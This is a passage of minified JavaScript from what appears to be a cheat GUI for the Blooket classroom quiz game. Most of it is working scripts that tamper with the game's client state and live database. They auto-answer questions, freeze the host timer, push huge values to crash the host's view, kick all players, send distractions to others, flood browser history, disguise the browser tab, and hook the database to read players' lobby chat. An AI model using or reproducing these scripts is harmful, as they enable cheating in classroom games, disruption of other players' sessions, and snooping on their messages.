!important;}")),t.appendChild(o)}}()}},{name:"3D Page",description:"Makes the page 3D",run:function(){var e={menu:document.createElement("div"),limit:document.createElement("input"),gap:document.createElement("input"),sag:document.createElement("input"),fov:document.createElement("input"),flo:document.createElement("input"),off:document.createElement("input"),non:document.createElement("input"),end:document.createElement("input"),tgl:document.createElement("input"),cssStatic:document.createElement("style"),cssDynamic:document.createElement("style"),orientation:{yaw:0,pitch:0,roll:0},mouseMove:function(t){e.orientation.yaw=-180*Math.cos(Math.PI*t.clientX/innerWidth)*e.limit.value,e.orientation.pitch=180*Math.cos(Math.PI*t.clientY/innerHeight)*e.limit.value,e.updateBody()},gyroMove:function(t){innerWidth>innerHeight?(e.orientation.yaw=-(t.alpha+t.beta),e.orientation.pitch=t.gamma-90*Math.sign(90-Math.abs(t.beta))):(e.orientation.yaw=-(t.alpha+t.gamma),e.orientation.pitch=t.beta-90),e.updateBody()},updateOrigin:function(e){document.body.style.transformOrigin=innerWidth/2+pageXOffset+"px "+(innerHeight/2+pageYOffset)+"px"},updateBody:function(){document.body.style.transform="perspective("+Math.pow(2,e.fov.value)+"px) translateZ(-"+e.gap.value+"px) rotateX("+e.orientation.pitch+"deg) rotateY("+e.orientation.yaw+"deg)"},updateCSS:function(){if(e.non.checked)e.cssDynamic.innerHTML="";else if(e.off.checked)e.cssDynamic.innerHTML="* { transform-style: preserve-3d; }";else{for(var t=0;document.querySelector("body"+" > *".repeat(t));t++);var o=e.gap.value/t,a=-Math.PI*e.sag.value/t;e.cssDynamic.innerHTML=` * { transform: translateZ(${o}px) rotateX(${a}rad); transform-style: preserve-3d; transition: transform 1s; outline: 1px solid rgba(0, 0, 0, 0.0625); ${e.flo.checked?"overflow: visible !important;":""} } *:hover { transform: translateZ(${2*o}px) rotateX(${2*a}rad); ${e.flo.checked?"":"overflow: visible;"} } `}},toggle:function(){"active"==e.menu.className?e.menu.removeAttribute("class"):e.menu.className="active"},quit:function(){window.removeEventListener("deviceorientation",e.gyroMove),window.removeEventListener("mousemove",e.mouseMove),window.removeEventListener("scroll",e.updateOrigin),window.addEventListener("resize",e.updateOrigin),e.menu.remove(),e.cssStatic.remove(),e.cssDynamic.remove(),document.body.removeAttribute("style")},newRange:function(t,o,a,n,r,i,l){e.menu.appendChild(t),t.type="range",t.min=a,t.max=r,t.step=n,t.value=i,t.addEventListener("input",l),e.menu.appendChild(document.createElement("span")).innerHTML=o,e.menu.appendChild(document.createElement("br"))},newCheckbox:function(t,o,a){e.menu.appendChild(t),t.type="checkbox",t.addEventListener("click",a),e.menu.appendChild(document.createElement("span")).innerHTML=o,e.menu.appendChild(document.createElement("br"))},newButton:function(t,o,a){e.menu.appendChild(t),t.type="button",t.value=o,t.addEventListener("click",a)},init:function(){document.body.parentNode.appendChild(e.menu).id="tri-menu",e.newRange(e.limit,"limit",0,.03125,1,.125,e.updateBody),e.newRange(e.gap,"gap / distance",0,32,512,128,(function(){e.updateCSS(),e.updateBody()})),e.newRange(e.sag,"sag",-.25,.03125,.25,0,e.updateCSS),e.newRange(e.fov,"field of view",7,1,13,10,e.updateBody),e.newCheckbox(e.flo,"force overflow",e.updateCSS),e.flo.setAttribute("checked",""),e.newCheckbox(e.off,"flatten layers",e.updateCSS),e.newCheckbox(e.non,"flatten everything",e.updateCSS),e.newButton(e.end,"Quit",e.quit),e.newButton(e.tgl,"≡",e.toggle),e.tgl.id="tri-toggle",e.menu.appendChild(e.cssStatic).innerHTML=" html, body { transition-property: none; height: 100%25; width: 100%25; } html, html:hover, #tri-menu, #tri-menu > *, #tri-menu > *:hover { transform: none; outline: none; overflow: auto !important; float: none; } #tri-menu { position: fixed; top: 0; left: 0; background: rgba(0, 0, 0, 0.5); color: white; border: 1px solid rgba(255, 255, 255, 0.5);; border-radius: 0 0 16px 0; padding: 8px; transform: translate(-100%25, -100%25) translate(32px, 32px); } #tri-menu.active { transform: none; } #tri-toggle { position: absolute; bottom: 0; right: 0; height: 32px; width: 32px; background: transparent; color: white; border: none; cursor: pointer; } #tri-menu.active > #tri-toggle { background: white; color: black; border-radius: 8px 0 0 0; }",e.menu.appendChild(e.cssDynamic),e.updateCSS(),window.addEventListener("deviceorientation",e.gyroMove),window.addEventListener("mousemove",e.mouseMove),window.addEventListener("scroll",e.updateOrigin),window.addEventListener("resize",e.updateOrigin),window.scrollBy(0,1)}};e.init()}},{name:"History Flooder",description:"Floods browser history with specified amount of entries",inputs:[{name:"Amount",type:"number"}],run:function(e){var t=e;done=!1,C=window.location.href;for(var o=1;o<=t;o++)history.pushState(0,0,o==t?C:o.toString()),o==t&&(done=!0);!0===done&&alert("History flood successful! "+window.location.href+" now appears in your history "+t+(1==t?" time.":" times. "))}},{name:"Auto Clicker",description:"Automatically clicks for you. Press S to toggle.",inputs:[{name:"Click Delay",type:"number"}],run:function(e){e:{let o=null,a=!0;const{Number:n,self:r}=window,i=n.parseInt(e,10);if(!1===n.isSafeInteger(i)){r.alert("Input was not an integer");break e}let l=0,s=0;const{document:c}=r;function t(){o=r.setInterval((()=>{c.elementFromPoint(l,s)?.click?.()}),i)}t(),c.addEventListener("mousemove",(e=>{({clientX:l,clientY:s}=e)}),{passive:!0}),r.addEventListener("keydown",(e=>{"s"===e.key&&(a?(r.clearInterval(o),o=null):t(),a=!a)}))}}},{name:"Tab Cloaker",description:"Changes the tab image and name",inputs:[{name:"Icon URL",type:"text"},{name:"Tab Title",type:"text"}],run:function(e,t){var o=document.querySelector("link[rel*='icon']")||document.createElement("link");o.type="image/x-icon",o.rel="shortcut icon",o.href=e||"https://www.blooket.com/favicon.ico",document.getElementsByTagName("head")[0].appendChild(o),document.title=t||"Blooket"}}],host:[{name:"Host Any Gamemode",description:"Change the selected gamemode on the host settings page",inputs:[{name:"Gamemode",type:"options",options:["Racing","Classic","Factory","Cafe","Defense2","Defense","Royale","Gold","Candy","Brawl","Hack","Pirate","Fish","Dino","Toy","Rush"]}],run:function(e){let t=document.createElement("iframe");if(document.body.append(t),window.alert=t.contentWindow.alert.bind(window),window.prompt=t.contentWindow.prompt.bind(window),t.remove(),"/host/settings"!=location.pathname)return alert("Run this script on the host settings page");let{stateNode:o}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;o.setState({settings:{type:e}})}},{name:"Toggle Spooky Theme",description:"Toggles the spooky theme for Gold Quest",run:function(){(()=>{const e=Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;e.season=e.season?0:1,e.render()})()}},{name:"Freeze Timer",description:"Makes the host timer stop ingame",run:function(){(()=>{const{stateNode:e}=Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner;clearInterval(e.timerInterval),e.timerInterval=setInterval((function(){e?.getClients?.(!1)}),4e3)})()}},{name:"Render Hours on Host Timer",description:"Renders hours on host timer(use with remove host time limit). Can only render up to 24 hours.",run:function(){(()=>{const e="/(\\[[^\\[]*\\])|(\\\\)?(LTS|LT|LL?L?L?|l{1,4})/g";RegExp.prototype.tes||(RegExp.prototype.tes=RegExp.prototype.test),RegExp.prototype.test=function(t){return"mm:ss"==t&&this.toString()==e||RegExp.prototype.tes.apply(this,arguments)},String.prototype.rep||(String.prototype.rep=String.prototype.replace),String.prototype.replace=function(t,o){return"mm:ss"==this&&t.toString()==e?"HH:mm:ss":String.prototype.rep.apply(this,arguments)}})()}},{name:"View Lobbychat Logs",description:"View messages players type in chat",run:function(){function e(){return Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner}document.addEventListener("keydown",(function(e){"Shift"===e.key&&"ShiftRight"===e.code&&(t.style.display="none"===t.style.display?"block":"none")}));const t=document.createElement("div");t.className="chat-box",document.body.appendChild(t);const o=document.createElement("div");o.className="chat-header",o.textContent="Chat Logs (RSHIFT to hide)",t.appendChild(o);const a=document.createElement("div");function n(e){const t=document.createElement("div");t.textContent=e,a.appendChild(t),a.scrollTop=a.scrollHeight}a.className="chat-body",t.appendChild(a),t.style.position="fixed",t.style.bottom="20px",t.style.right="20px",t.style.width="300px",t.style.height="400px",t.style.backgroundColor="#fff",t.style.border="1px solid #ccc",t.style.boxShadow="0px 0px 10px rgba(0, 0, 0, 0.2)",t.style.display="block",a.style.height="360px",a.style.overflowY="scroll",a.style.padding="10px",o.addEventListener("click",(()=>{a.classList.toggle("open")}));var r=e().stateNode.props.liveGameController._liveApp.database()._delegate._repoInternal.server_.onDataUpdate_;function i(e,t){null!=t&&e.includes("/msg")&&t?.msg&&(console.log(t.msg),n(e.split("/")[2]+": "+t.msg))}function l(e){window.logsv&&n("Path: "+e.path.split("/").splice(2,2).join("/")+" Val: "+("object"==typeof e.val?JSON.stringify(e.val):e.val))}e().stateNode.props.liveGameController._liveApp.database()._delegate._repoInternal.server_.onDataUpdate_=function(e,t,o,a){console.log(e,t,o,a),i(e,t),r(e,t,o,a)},window.logsv=!1;var s=e().stateNode.props.liveGameController.setVal;e().stateNode.props.liveGameController.setVal=function(){l.apply(this,arguments),s.apply(this,arguments)},e().stateNode.props.liveGameController._liveApp.database().ref(`${e().stateNode.props.liveGameController._liveGameCode}`).on("value",(e=>{})),n("Lobbychat successfully loaded!"),t.style.wordWrap="break-word"}},{name:"Remove Host Time Limit",description:"Removes the host time limit",run:function(){(()=>{const e=Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;e.onAmountUpdate=function(t){let o=e.state.settings;o.amount=parseInt(t.target.value),e.setState({settings:o})}})()}},{name:"Free Player Slots",description:"Allows more players to join if the game is full",run:async()=>{let e=document.createElement("iframe");document.body.append(e);const t=e.contentWindow.alert.bind(window);e.remove();const o=Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode,a=await o.props.liveGameController.getDatabaseVal("c");let n=0;async function r(e){if(o.state.blockedUsers.includes(e))return;200===(await fetch("https://fb.blooket.com/c/firebase/block",{headers:{"Content-Type":"application/json"},method:"POST",body:JSON.stringify({g:o.props.host.id,u:e}),credentials:"include"})).status&&(o.state.blockedUsers.push(e),n++,n%parseInt("15")==0&&await async function(e){return new Promise((t=>{setTimeout(t,e)}))}(600),C.alerts?.[0].addLog("Freed user: "+e))}o.state.blockedUsers||(o.state.blockedUsers=[]);for(let e in a)await r(e);t(`Freed slots: ${n}`)}},{name:"Realtime Updates",description:"Makes leaderboard updates happen in real-time.",run:async()=>{const e=()=>Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;(await e().props.liveGameController.getDatabaseRef("")).on("value",(t=>e()?.getClients?.(!1)))}},{name:"Anti-Flood",description:"Prevents bots from flooding the game",enabled:!1,data:null,run:function(){this.enabled||(this.enabled=!0,this.data=setInterval((async()=>{var e=document.createElement("iframe");document.body.append(e),window.confirm=e.contentWindow.confirm.bind(window),e.style.display="none";try{let e=Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode;var t=await e.props.liveGameController.getDatabaseRef("c");let o={},a={};t.on("value",(t=>{var n=t.val()||{},r=[];for(const e in n)o[e]||(r.push(e),a[e.replace(/[0-9]/g,"")]=(a[e.replace(/[0-9]/g,"")]||0)+1);o=n;for(const t of r)(o[t].g||a[t.replace(/[0-9]/g,"")]>1)&&(e.props.liveGameController.blockUser(t),a[t.replace(/[0-9]/g,"")]--)}))}catch(e){console.error("An error occurred",e)}}),2e3))}},{name:"Kick All Players",description:"Kicks all players from your game.",run:async()=>{const e=Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode,t=await e.props.liveGameController.getDatabaseVal("");e.props.liveGameController.setVal({path:"bu",val:Object.keys(t.c).reduce(((e,t)=>(e[t]=1,e)),t.bu?t.bu:{})}),e.props.liveGameController.setVal({path:"c",val:{}})}}],royale:[{name:"Auto Answer (Toggle)",description:"Toggles auto answer on",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval((()=>{var e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;e?.onAnswer?.(!0,e.props.client.question.correctAnswers[0])}),50))}},{name:"Auto Answer",description:"Chooses the correct answer for you. Will answer with the time provided.",inputs:[{name:"Time (milliseconds)",type:"number",min:0,max:2e4}],run:e=>{const t=Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;t.startTime=performance.now()-e,t?.onAnswer?.(!0,t.props.client.question.correctAnswers[0])}}],rush:[{name:"Set Blooks",description:"Sets amount of blooks you or your team has",inputs:[{name:"Blooks",type:"number"}],run:function(e){var t=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;t.setState({numBlooks:e}),t.isTeam?t.props.liveGameController.setVal({path:`a/${t.props.client.name}/bs`,val:e}):t.props.liveGameController.setVal({path:`c/${t.props.client.name}/bs`,val:numDefense})}},{name:"Set Defense",description:"Sets amount of defense you or your team has (Max 4)",inputs:[{name:"Defense (max 4)",type:"number",max:4}],run:function(e){e=Math.min(e,4);var t=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;t.setState({numDefense:e}),t.isTeam?t.props.liveGameController.setVal({path:`a/${t.props.client.name}/d`,val:e}):t.props.liveGameController.setVal({path:`c/${t.props.client.name}/d`,val:e})}},{name:"Freeze Host :)",description:"They aint coming back with this one",run:function(){var e="99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999",t=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;t.setState({numBlooks:e}),t.isTeam?t.props.liveGameController.setVal({path:`a/${t.props.client.name}/bs`,val:e}):t.props.liveGameController.setVal({path:`c/${t.props.client.name}/bs`,val:e})}}],workshop:[{name:"Remove Distractions",description:"Removes all enemy distractions",run:function(){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({fog:!1,dusk:!1,wind:!1,plow:!1,blizzard:!1,force:!1,canada:!1,trees:[!1,!1,!1,!1,!1,!1,!1,!1,!1,!1]})}},{name:"Send Distraction",description:"Sends a distraction to everyone else playing",inputs:[{name:"Distraction",type:"options",options:Object.entries({c:"Oh Canada",b:"Blizzard",f:"Fog Spell",d:"Dark & Dusk",w:"Howling Wind",g:"Gift Time!",t:"TREES",s:"Snow Plow",fr:"Use The Force"}).map((([e,t])=>({name:t,value:e})))}],run:function(e){var t=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;t.safe=!0,t.props.liveGameController.setVal({path:`c/${t.props.client.name}/tat`,val:e})}},{name:"Set Toys",description:"Sets amount of toys",inputs:[{name:"Toys",type:"number"}],run:function(e){var t=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;t.setState({toys:e}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,t:e}})}},{name:"Set Toys Per Question",description:"Sets amount of toys per question",inputs:[{name:"Toys Per Question",type:"number"}],run:function(e){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({toysPerQ:e})}},{name:"Swap Toys",description:"Swaps toys with someone",inputs:[{name:"Player",type:"options",options(){let e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;return new Promise((t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",(e=>e&&t(Object.keys(e)))):t([])))}}],run:function(e){let t=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;t.props.liveGameController.getDatabaseVal("c",(o=>{var a;o&&Object.keys(o).map((e=>e.toLowerCase())).includes(e.toLowerCase())&&([o,{t:a}]=Object.entries(o).find((([t])=>t.toLowerCase()==e.toLowerCase())),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,t:a,tat:o+":swap:"+t.state.toys}}),t.setState({toys:a}))}))}}],settings:[{name:"Import Settings",description:"Import a custom theme",inputs:[{name:"JSON Data",type:"string"}],run:function(e){try{JSON.parse(e)}catch(e){return alert("Invalid JSON provided")}for(let t in e={backgroundColor:"rgb(11, 194, 207)",infoColor:"#9a49aa",cheatList:"#9a49aa",defaultButton:"#9a49aa",disabledButton:"#A02626",enabledButton:"#47A547",textColor:"white",inputColor:"#7a039d",contentBackground:"rgb(64, 17, 95)",...JSON.parse(e)},c.setItem("theme",e),e)p.sheet.cssRules[0].style.setProperty("--"+t,e[t])}},{name:"Export Settings",description:"Export the current theme to JSON",run:async function(){await navigator.clipboard.writeText(JSON.stringify(c.data.theme,null,4)),prompt("Text copied to clipboard. (Paste below to test)")}},{name:"Defaults",description:"Changes all the settings to a preset",inputs:[{name:"Theme",type:"options",options:[{name:"Default",value:{backgroundColor:"rgb(11, 194, 207)",infoColor:"#9a49aa",cheatList:"#9a49aa",defaultButton:"#9a49aa",disabledButton:"#A02626",enabledButton:"#47A547",textColor:"white",inputColor:"#7a039d",contentBackground:"rgb(64, 17, 95)"}},{name:"Landscapes (Random)",value:{backgroundColor:"url(https://source.unsplash.com/1600x900/?landscape)",infoColor:"linear-gradient(rgba(0, 0, 0, 0.3), rgba(0, 0, 0, 0.3))",cheatList:"linear-gradient(rgba(0, 0, 0, 0.3), rgba(0, 0, 0, 0.3))",defaultButton:"linear-gradient(rgba(0, 0, 0, 0.3), rgba(0, 0, 0, 0.3))",disabledButton:"linear-gradient(rgba(225, 0, 0, 0.3), rgba(225, 0, 0, 0.3))",enabledButton:"linear-gradient(rgba(0, 128, 0, 0.3), rgba(0, 128, 0, 0.3))",textColor:"white",inputColor:"linear-gradient(rgba(0, 0, 0, 0.3), rgba(0, 0, 0, 0.3))",contentBackground:"linear-gradient(rgba(0, 0, 0, 0.3), rgba(0, 0, 0, 0.3))"}},{name:"Blacket",value:{backgroundColor:"#4f4f4f",infoColor:"#2f2f2f",cheatList:"#2f2f2f",defaultButton:"#4f4f4f",disabledButton:"#eb6234",enabledButton:"#00c20c",textColor:"white",inputColor:"#3f3f3f",contentBackground:"#2f2f2f"}},{name:"Ploopit",value:{backgroundColor:"url(https://i.ibb.co/6vvdq3f/ploopit.png)",infoColor:"#3C75F5",cheatList:"#204DD0",defaultButton:"#204DD0",disabledButton:"#A02626",enabledButton:"#47A547",textColor:"white",inputColor:"#3f3f3f",contentBackground:"#3C75F5"}},{name:"Betastar",value:{backgroundColor:"url(https://i.ibb.co/8bkDpCn/GIFMaker-me.gif)",infoColor:"#282828",cheatList:"#282828",defaultButton:"white",disabledButton:"#9D0000",enabledButton:"#013220",textColor:"black",inputColor:"gray",contentBackground:"linear-gradient(rgba(0, 0, 0, 0.3), rgba(0, 0, 0, 0.3))"}},{name:"Skool.lol",value:{backgroundColor:"linear-gradient(90deg, rgba(104,45,140,1) 220px, rgba(237,30,121,1) 100%)",cheatList:"#1e2124",infoColor:"#1e2124",defaultButton:"#36393e",inputColor:"#1e2124",enabledButton:"#9c9a9a",textColor:"white",disabledButton:"#171717",contentBackground:"#292929"}},{name:"Blue - Purple Background",value:{backgroundColor:"linear-gradient(162.5deg, rgba(0,183,255,1) 220px, rgba(128,0,255,1) 100%)"}},{name:"Saint Patricks Background",value:{backgroundColor:"rgb(9, 148, 65)"}},{name:"Halloween Background",value:{backgroundColor:"rgb(41, 41, 41)"}},{name:"Fall Background",value:{backgroundColor:"rgb(224, 159, 62)"}},{name:"Winter Background",value:{backgroundColor:"linear-gradient(rgb(49, 170, 224), rgb(187, 221, 255))"}},{name:"Crypto Hack",value:{backgroundColor:"radial-gradient(#11581e,#041607)",infoColor:"#1a1a1a",cheatList:"#1a1a1a",defaultButton:"rgb(88 175 88)",disabledButton:"#A02626",enabledButton:"#0b601b",textColor:"white",inputColor:"rgb(0 0 0 / 25%)",contentBackground:"#11581e"}},{name:"Fishing Frenzy",value:{backgroundColor:"linear-gradient(180deg,#9be2fe 0,#67d1fb)",infoColor:"#c8591e",cheatList:"#c8591e",defaultButton:"#ff751a",disabledButton:"#bf0e0e",enabledButton:"#2fb62f",textColor:"white",inputColor:"rgb(0 0 0 / 25%)",contentBackground:"radial-gradient(#02b0ea 40%, #1d86ea)"}},{name:"Deceptive Dinos",value:{backgroundColor:'radial-gradient(rgba(220, 184, 86, 0), rgba(220, 184, 86, 0.4)), url("https://ac.blooket.com/play/111cb7e0ee6607ac3d1a13d534c0e0f1.png"), #ead49a',infoColor:"#af8942",cheatList:"#af8942",defaultButton:"#af8942",disabledButton:"#A02626",enabledButton:"#47A547",textColor:"white",inputColor:"rgb(0 0 0 / 10%)",contentBackground:"radial-gradient(rgba(1,104,162,.6),rgba(24,55,110,.5)),radial-gradient(#2783b4 1.5px,#18376e 0) center / 24px 24px"}},{name:"Blook Rush",value:{backgroundColor:"repeating-linear-gradient(45deg,white,white 8%,#e6e6e6 0,#e6e6e6 16%)",defaultButton:"#36c",inputColor:"rgb(0 0 0 / 25%)",infoColor:"#36c",cheatList:"#36c",contentBackground:"#888",textColor:"white",disabledButton:"#A02626",enabledButton:"#47A547"}},{name:"Factory",value:{defaultButton:"#1563bf",infoColor:"#a5aabe",cheatList:"#a5aabe",contentBackground:"#2d313d",backgroundColor:"#3a3a3a",enabledButton:"rgb(75, 194, 46)",disabledButton:"#9a49aa",inputColor:"rgb(0 0 0 / 25%)",textColor:"white"}},{name:"Cafe",value:{backgroundColor:"linear-gradient(90deg,rgba(200,0,0,.5) 50%,transparent 0) center / 50px 50px,linear-gradient(rgba(200,0,0,0.5) 50%,transparent 0) white center / 50px 50px",defaultButton:"#0bc2cf",inputColor:"rgb(0 0 0 / 25%)",infoColor:"#ac7339",cheatList:"#ac7339",contentBackground:"rgb(64, 64, 64)",textColor:"white",disabledButton:"#A02626",enabledButton:"#47A547"}},{name:"Tower of Doom",value:{backgroundColor:"rgb(41 41 41)",disabledButton:"rgb(151, 15, 5)",defaultButton:"#333",inputColor:"rgb(0 0 0 / 25%)",contentBackground:"#404040",enabledButton:"#4bc22e",textColor:"white",infoColor:"#9a49aa",cheatList:"#9a49aa"}},{name:"Monster Brawl",value:{defaultButton:"rgb(45, 51, 67)",backgroundColor:"rgb(78, 95, 124)",inputColor:"rgb(0 0 0 / 25%)",contentBackground:"linear-gradient(0deg,#374154,#4f5b74)",infoColor:"#374154",cheatList:"#374154",textColor:"white",enabledButton:"#47A547",disabledButton:"#A02626"}},{name:"Tower Defense 2",value:{backgroundColor:"url(https://media.blooket.com/image/upload/v1676164454/Media/defense/backgroundTd1-02.svg) center / cover",cheatList:"#a33c22",infoColor:"#a33c22",defaultButton:"#40b1d8",inputColor:"#3e8cbe",contentBackground:"#293c82",enabledButton:"#47A547",disabledButton:"#A02626",textColor:"white"}}]}],run:function(e){for(let t in c.setItem("theme",{...c.data.theme,...e}),e)p.sheet.cssRules[0].style.setProperty("--"+t,e[t])}},{name:"Scale",description:"Forces the GUI to scale from 25%-100%",inputs:[{type:"number",name:"Percent scale",min:25,max:100,value:100*(c.data.scale||1)}],run:function(e){e=Math.min(Math.max(e,25),100),c.setItem("scale",e/100),_.style.transform=`scale(${e/100})`}},{name:"Hide Keybind",description:"Change the hide keybind (Click button after input to change)",inputs:[{type:"function",name:"Input",function:e=>B((({shift:t,ctrl:o,alt:a,key:n})=>e(""+[o&&"Ctrl",t&&"Shift",a&&"Alt",n&&n.toUpperCase()].filter(Boolean).join(" + "))))}],run:function(e){c.setItem("hide",e),m.update(c.data.hide||{ctrl:!0,key:"e"},c.data.close||{ctrl:!0,key:"x"})}},{name:"Close Keybind",description:"Change the quick close keybind (Click button after input to change)",inputs:[{type:"function",name:"Input",function:e=>B((({shift:t,ctrl:o,alt:a,key:n})=>e(""+[o&&"Ctrl",t&&"Shift",a&&"Alt",n&&n.toUpperCase()].filter(Boolean).join(" + "))))}],run:function(e){c.setItem("close",e),m.update(c.data.hide||{ctrl:!0,key:"e"},c.data.close||{ctrl:!0,key:"x"})}},{name:"Background Color",description:"Changes the background color of the GUI",inputs:[{type:"string",name:"Color"}],run:function(e){p.sheet.cssRules[0].style.setProperty("--backgroundColor",e),c.setItem("theme.backgroundColor",e)}},{name:"Category List Color",description:"Changes the categories list background color",inputs:[{type:"string",name:"Color"}],run:function(e){p.sheet.cssRules[0].style.setProperty("--cheatList",e),c.setItem("theme.cheatList",e)}},{name:"Info Color",description:"Changes the color of the information at the top of the GUI",inputs:[{type:"string",name:"Color"}],run:function(e){p.sheet.cssRules[0].style.setProperty("--infoColor",e),c.setItem("theme.infoColor",e)}},{name:"Button Color",description:"Changes the color of the cheats",inputs:[{type:"string",name:"Color"}],run:function(e){p.sheet.cssRules[0].style.setProperty("--defaultButton",e),c.setItem("theme.defaultButton",e)}},{name:"Enabled Toggle Color",description:"Changes the color of enabled toggle cheats",inputs:[{type:"string",name:"Color"}],run:function(e){c.setItem("theme.enabledButton",e)}},{name:"Disabled Toggle Color",description:"Changes the color of disabled toggle cheats",inputs:[{type:"string",name:"Color"}],run:function(e){p.sheet.cssRules[0].style.setProperty("--disabledButton",e),c.setItem("theme.disabledButton",e)}},{name:"Text Color",description:"Changes the text color",inputs:[{type:"string",name:"Color"}],run:function(e){p.sheet.cssRules[0].style.setProperty("--textColor",e),c.setItem("theme.textColor",e)}},{name:"Input Color",description:"Changes the color of inputs, like the set gold number input",inputs:[{type:"string",name:"Color"}],run:function(e){p.sheet.cssRules[0].style.setProperty("--inputColor",e),c.setItem("theme.inputColor",e)}},{name:"Content Color",description:"Changes the background color of the cheats",inputs:[{type:"string",name:"Color"}],run:function(e){p.sheet.cssRules[0].style.setProperty("--contentBackground",e),c.setItem("theme.contentBackground",e)}}],alerts:[{element:l("div",{className:"alertContainer",style:{margin:"15px 15px 5px 15px",backgroundColor:"rgb(0 0 0 / 50%)",width:"95%",height:"370px",borderRadius:"7px",display:"block",alignItems:"center",justifyContent:"center"}},l("ul",{className:"alertList",style:{margin:"10px 10px 0 10px",padding:"0",listStyleType:"none",display:"flex",flexDirection:"column-reverse",height:"355px",overflowY:"scroll",wordWrap:"break-word"}},l("li",{style:{margin:"5px"}},l("span",{style:{color:"var(--textColor)"},innerText:"[LOG] GUI opened"})))),addLog(e,t){return this.element.firstChild.prepend(l("li",{style:{margin:"5px"}},l("span",{style:{color:t||"var(--textColor)"},innerHTML:"[LOG] "+e})))},addAlert(e,t,o){return this.element.firstChild.prepend(l("li",{style:{margin:"5px"}},l("strong",{},e)," ",o))},connection:null,data:{},updateLeaderboard(e){for(var{blook:t,name:o,value:a}of(this.leaderboardEl||this.addLeaderboard(),this.leaderboard.innerHTML="",e))this.leaderboard.append(l("li",{style:{fontSize:"2rem",paddingInline:"15px 15px",paddingBlock:"1.25px",position:"relative",borderBottom:"2px solid orange",color:o===Object.values(document.querySelector("#app>div>div"))?.[1]?.children?.[0]?._owner?.stateNode?.props?.client?.name?"#00FF00":"#FFFFFF"}},o,l("span",{innerText:this.parseNumber(parseInt(a)),style:{float:"right"}})))},parseNumber(e=0){var t=e;if(e<1e3)return t.toString();var o=["","K","M","B","T"],a=Math.floor((e.toString().length-1)/3);if(a<o.length){let n=0;for(let t=3;1<=t&&!((n=parseFloat((0!==a?e/Math.pow(1e3,a):e).toPrecision(t))).toString().replace(/[^a-zA-Z 0-9]+/g,"").length<=3);t--);t=(n=n%1!=0?n.toFixed(1):n)+o[a]}else{let o=e,a=0;for(;100<=o;a++)o=Math.floor(o/10);let r="";var n=["⁰","¹","²","³","⁴","⁵","⁶","⁷","⁸","⁹"];for(let e of(a+1).toString().split(""))r+=n[Number(e)];t=o/10+" × 10"+r}return t},addLeaderboard(){this.leaderboardEl=l("div",{className:"alertContainer",style:{margin:"15px 15px 5px 15px",backgroundColor:"rgb(0 0 0 / 50%)",width:"95%",height:"370px",borderRadius:"7px",display:"flex",alignItems:"center",justifyContent:"center"}},this.leaderboard=l("nl",{className:"alertList",style:{marginTop:"10px",padding:"0",listStyleType:"decimal",width:"100%",height:"355px",overflowY:"scroll",wordWrap:"break-word"}})),insertElemBefore("Leaderboard","https://i.ibb.co/hZQjjVP/trophy-icon.webp",[{element:this.leaderboardEl}],!0,h.children[3]),this.addLog("Leaderboard Loaded!")},async connect(){try{var e=Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;if(!e?.props?.liveGameController?._liveGameCode)return!1;this.connection=await e.props.liveGameController.getDatabaseRef("");let t="Cow",o=(this.getGamemode(),{lb:"Lunch Break",as:"Ad Spam",e37:"Error 37",nt:"Night Time",lo:"#LOL",j:"Jokester",sm:"Slow Mo",dp:"Dance Party",v:"Vortex",r:"Reverse",f:"Flip",m:"Micro"});this.connection.on("value",(e=>{var a=e.val()?.c||{};if(a&&this.diffObjects(this.data,a)){var n,r,i,l,s,c,d,u,p=this.diffObjects(this.data,a);this.data=a;let e=[];switch(this.getGamemode()){case"pirate":case"defense":case"defense2":e=Object.entries(a).map((([e,{b:t,d:o}])=>({name:e,blook:t,value:o||0})));break;case"racing":e=Object.entries(a).map((([e,{b:t,pr:o}])=>({name:e,blook:t,value:o||0})));break;case"classic":e=Object.entries(a).map((([e,{b:t,p:o}])=>({name:e,blook:t,value:o||0})));break;case"royale":e=Object.entries(a).map((([e,{b:t,e:o}])=>({name:e,blook:t,value:o||0})));break;case"toy":e=Object.entries(a).map((([e,{b:t,t:o}])=>({name:e,blook:t,value:o||0})));break;case"brawl":e=Object.entries(a).map((([e,{b:t,xp:o}])=>({name:e,blook:t,value:o||0})));break;case"gold":for(let e in p)p[e].tat?.split&&([n,r]=p[e].tat.split(":"),"swap"==r?this.addAlert(e,t[a[e].b]?.url,"just swapped with "+n):this.addAlert(e,t[a[e].b]?.url,`just took ${this.parseNumber(parseInt(r))} gold from 